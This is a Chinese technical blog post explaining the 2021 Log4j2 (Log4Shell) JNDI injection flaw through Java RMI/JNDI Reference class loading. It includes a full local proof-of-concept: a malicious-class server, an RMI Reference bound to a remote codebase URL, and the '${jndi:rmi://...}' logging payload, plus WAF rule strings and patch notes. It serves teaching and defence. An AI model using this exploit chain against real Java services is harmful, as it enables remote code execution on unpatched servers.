2021年12月9日,各大公司都被一个重量级漏洞引爆了,该漏洞一旦被攻击者利用就会造成及其严重的影响。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重。然后从10日凌晨开始很多公司的程序员都被迫开始应急相应,加班加点修复问题。该漏洞涉及包含但不限于Struts2、Flink、ElasticSearch、Druid、dubbo、Redis、kafka等常用应用和组件。
爆出这个漏洞的这就是大名鼎鼎的日志组件log4j2 。作为日志组件,在java领域基本上是再常见运用不过的了,而这个漏洞可以让攻击者在使用了log4j组件的服务器上执行任意代码。所以勒索用户和企业还不是分分钟的事,怪不得一众媒体都称漏洞危害堪比“永恒之蓝”了。
说起log4j漏洞的攻击方式,实际上就是反序列化RCE漏洞,反序列化所造成的被黑客用来攻击的例子可是数不胜数。log4j包括早些年的shiro低版本以及fastjson这些大家都有所耳闻的漏洞,底层原理也与它息息相关,所以得先说说JAVA反序列化RCE(remote command/code execute 远程代码执行)漏洞的一些基础概念:RMI、JRMP、JNDI。
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。
我们知道一般JAVA方法调用指的是同一个JVM中方法的相互调用。而RMI恰恰相反,简单来说就是跨越JVM调用远程方法。
比如浏览器调用http接口,RMI就是直接调用JAVA方法。
Java远程方法协议(Java Remote Method Protocol)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议。
从这个定义可以知道,JRMP是一个协议,用于JAVA RMI调用过程。RMI的过程是通过JRMP这个协议去组织数据格式然后通过TCP进行传输进行的。
还是类比浏览器,http协议就是处于TCP/IP协议之上,通过这个协议,浏览器和服务端才能正常交流通讯。
Java命名和目录接口(Java Naming and Directory Interface),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。
这就是指在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。
所以简单理解JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象(就像使用key在map中找value),并把它下载到客户端中来。
说到这里是不是感觉RMI好像做的事和RPC有点像,顺便稍微复习下RPC。
RPC(Remote Procedure Call Protocol)远程过程调用协议,通过网络从远程计算机上请求调用某种服务。
RPC(远程过程调用)和RMI(远程方法调用)是两种可以让用户从一台电脑调用不同电脑上面的方法的的机制(也可以称作规范、协议)。
两者的主要不同是他们的使用方式或者称作范式,RMI使用面向对象 的范式,也就是用户需要知道他调用的对象和对象中的方法;RPC不是面向对象也不能处理对象,而是调用具体的子程序 。
RMI 能够让在客户端Java虚拟机上的对象像调用本地对象一样调用服务端Java虚拟机中的对象上的方法。
1:方法调用方式不同:
2:适用语言范围不同:
3:调用结果的返回形式不同:
RMI就是开发百分之百纯Java的网络分布式应用系统的核心解决方案之一,其实RMI可以直接看作是RPC的Java版本(实现)。传统RPC并不能很好地应用于分布式对象系统,而Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。满足了Java“一次编写,处处运行”的美好愿景。
RMI攻击主要分3种目标:RMI Client、RMI Server、RMI Registry。要想理解攻击可能出现在哪块,首先看看RMI的调用流程到底是什么样的。
使用远程方法调用,必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。
任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。
// 这里定义了一个继承Remote类的的IHello接口
// 该接口必须在server和client端都存在(且类名、包名都需要一样)
public interface IHello extends Remote {
String sayHello(String name) throws RemoteException;
}
// server端需要实现该IHello类,以及对应的sayHello方法
// 另外因为这里没有继承UnicastRemoteObject类,所以是手工在构造方法中调用UnicastRemoteObject.exportObject()初始化了远程对象
public class HelloImpl implements IHello {
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) throws RemoteException {
System.out.println(name);
return name;
}
}
在服务端启动一个RMIResgistry,监听在1099这个端口上,并绑定了rmi://127.0.0.1:1099/hello这个路径给远程对象的引用rHello。
public class NormalRmiServer {
public static void main(String[] args) throws Exception {
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/hello", rhello);
System.out.println("Server started");
}
}
然后启动后这个server端就准备好了,并且能看到我们打印的Server started信息。
然后这里客户端通过远程主机和端口信息本地创建了一个Stub对象作为Registry远程对象的代理,服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。
public class NormalRmiClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("AceCandy");
}
}
然后启动client端,就能看到执行了Ihello方法了,并且在server端也打印出了这个AceCandy信息。
从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。
从上面这个流程我们可以看出,整个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端。而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。
所以现在再来看RMI Client、RMI Server、RMI Registry这几个概念,分别代表「RMI服务端使用bind方法可以实现主动攻击RMI Registry」、「RMI客户端使用lookup方法理论上可以主动攻击RMI Registry」、「RMI Registry在RMI客户端使用lookup方法的时候,可以实现被动攻击RMI客户端」。
但是有人也会问,既然是反序列化攻击,那么必须得找到能使用的gadget吧?如果没有gadget(简单理解成可利用的指令片段),那就谈不上反序列化RCE了。
反序列化RCE下gadget的确很重要,若是没有gadget的依赖,那么基本就是束手无决了,像前面所说的,三个目标的攻击,我们都可以利用gadget,构造恶意的序列化数据达到反序列化攻击RCE。
但是有一个例外,利用Reference对象,在某些特殊情况下可以不需要gadget依赖的存在进行序列化攻击,亦或者说Reference也是一个gadget。
在本地启动一个80端口的web服务器,tomcat、nginx或者其它的web服务器都可以
然后写一个恶意java文件,比如Calc.java文件,然后将编译后的class文件放到上面的web服务器根目录下
在服务端注册一个Reference对象到RMI Registry,并绑定到evil方法
Registry registry = LocateRegistry.getRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://localhost:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
客户端执行代码去lookup RMI Registry
new InitialContext().lookup("rmi://127.0.0.1:1099/evil");
调用栈如下
getObjectInstance:296 NamingManager (javax.naming.spi)
decodeObject:499 RegistryContext (com.sun.jndi.rmi.registry)
lookup:138 RegistryContext (com.sun.jndi.rmi.registry)
lookup:205 GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417 InitialContext (javax.naming)
其中getObjectInstance方法代码如下
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
================> factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
其中这个getObjectFactoryFromReference方法中通过clas = helper.loadClass(factoryName code);
这行代码,完成了对远程class的读取加载。
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
==========> clas = helper.loadClassWithoutInit(factoryName);
// Validate factory's class with the objects factory serial filter
if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
// Validate factory's class with the objects factory serial filter
if (clas == null ||
!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
}
}
@SuppressWarnings("deprecation") // Class.newInstance
ObjectFactory result = (clas != null) ? (ObjectFactory) clas.newInstance() : null;
return result;
}
上面我们已经大致知道了利用RMI进行反序列化RCE的方式了,那我们就来看看这次的log4j漏洞是怎么被攻击的。
按照上面Reference 的思路,我先在本地写了一个java文件,在静态块中打印了一行字。
public class EvilRCE {
static {
System.out.println("恶意程序执行中……");
}
}
在target中拿到对应编译好的的class文件。
然后在开发机上启动了一个python简易服务,端口8180。
然后把刚刚的class文件上传到服务根目录,这里是直接在这个文件目录下。
写一个server端将registry绑定到这个ip端口的Reference上,然后启动服务端。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("EvilRCE",
"EvilRCE", "http://10.26.27.181:8180/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
System.out.println("Server started on port 1099");
}
}
再写个client端使用log4j打印日志。
public class Log4j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
// String username = "${java:os}";
String username = "${jndi:rmi://localhost:1099/evil}";
LOGGER.info("Hello, {}?!", username);
}
}
这是简单的用法,如果这个类是对服务器造成什么破坏的话,那影响就大了。而且我们很多时候比如收到username什么的就会打印一条日志,攻击者很可能就直接写一段命令进行执行,所以使用起来也非常简单。也怪不得为什么各大公司都这么紧张这个事情。
有人自己试了可能会发现不能进行远程调用,是因为功能可能未开启。在上面的试验中我使用的是log4j-2.12.0版本,另外jdk是1.7(当然1.8也可以),需要手动开启com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase。更新的稳定版本里面,会首先默认就是关闭该能力,所以可能会试验不出来,大家可以尝试降低版本或者手动开启功能。另外有些项目直接就没使用log4j,而是使用的logback,所以也无法复现。
这些是一些整理的解决方式,当然有些人担心可能多种防范都做了。
jndi:ladp:
jdni:rmi
该种字符串,IDPS和WAF可以编写相应规则,但是对于HTTPS协议不能很好防护;针对网上流传的漏洞利用文件编写snort规则。这篇主要是由这次的log4j漏洞展开说了一下Java反序列化RCE,以及利用RMI进行攻击的原理和各种方式。
其实早从18年之前log4j就因为lookup功能导致出现了漏洞,当前又出现了一波反序列化RCE,而且就在如今更新到了2.16.0版本后,又曝出了新的问题。
依旧是由lookup功能导致,这次是在MDC中出现的不可控制的递归问题。
官方紧急更新了2.17.0 解决了问题。方案是对于只有配置中的查找字符串被递归扩展;在任何其他用法中,仅解析顶级查找,不解析任何嵌套查找。
一切都还没有终结。无论怎样,世界既然在进步,我们也将一直前行。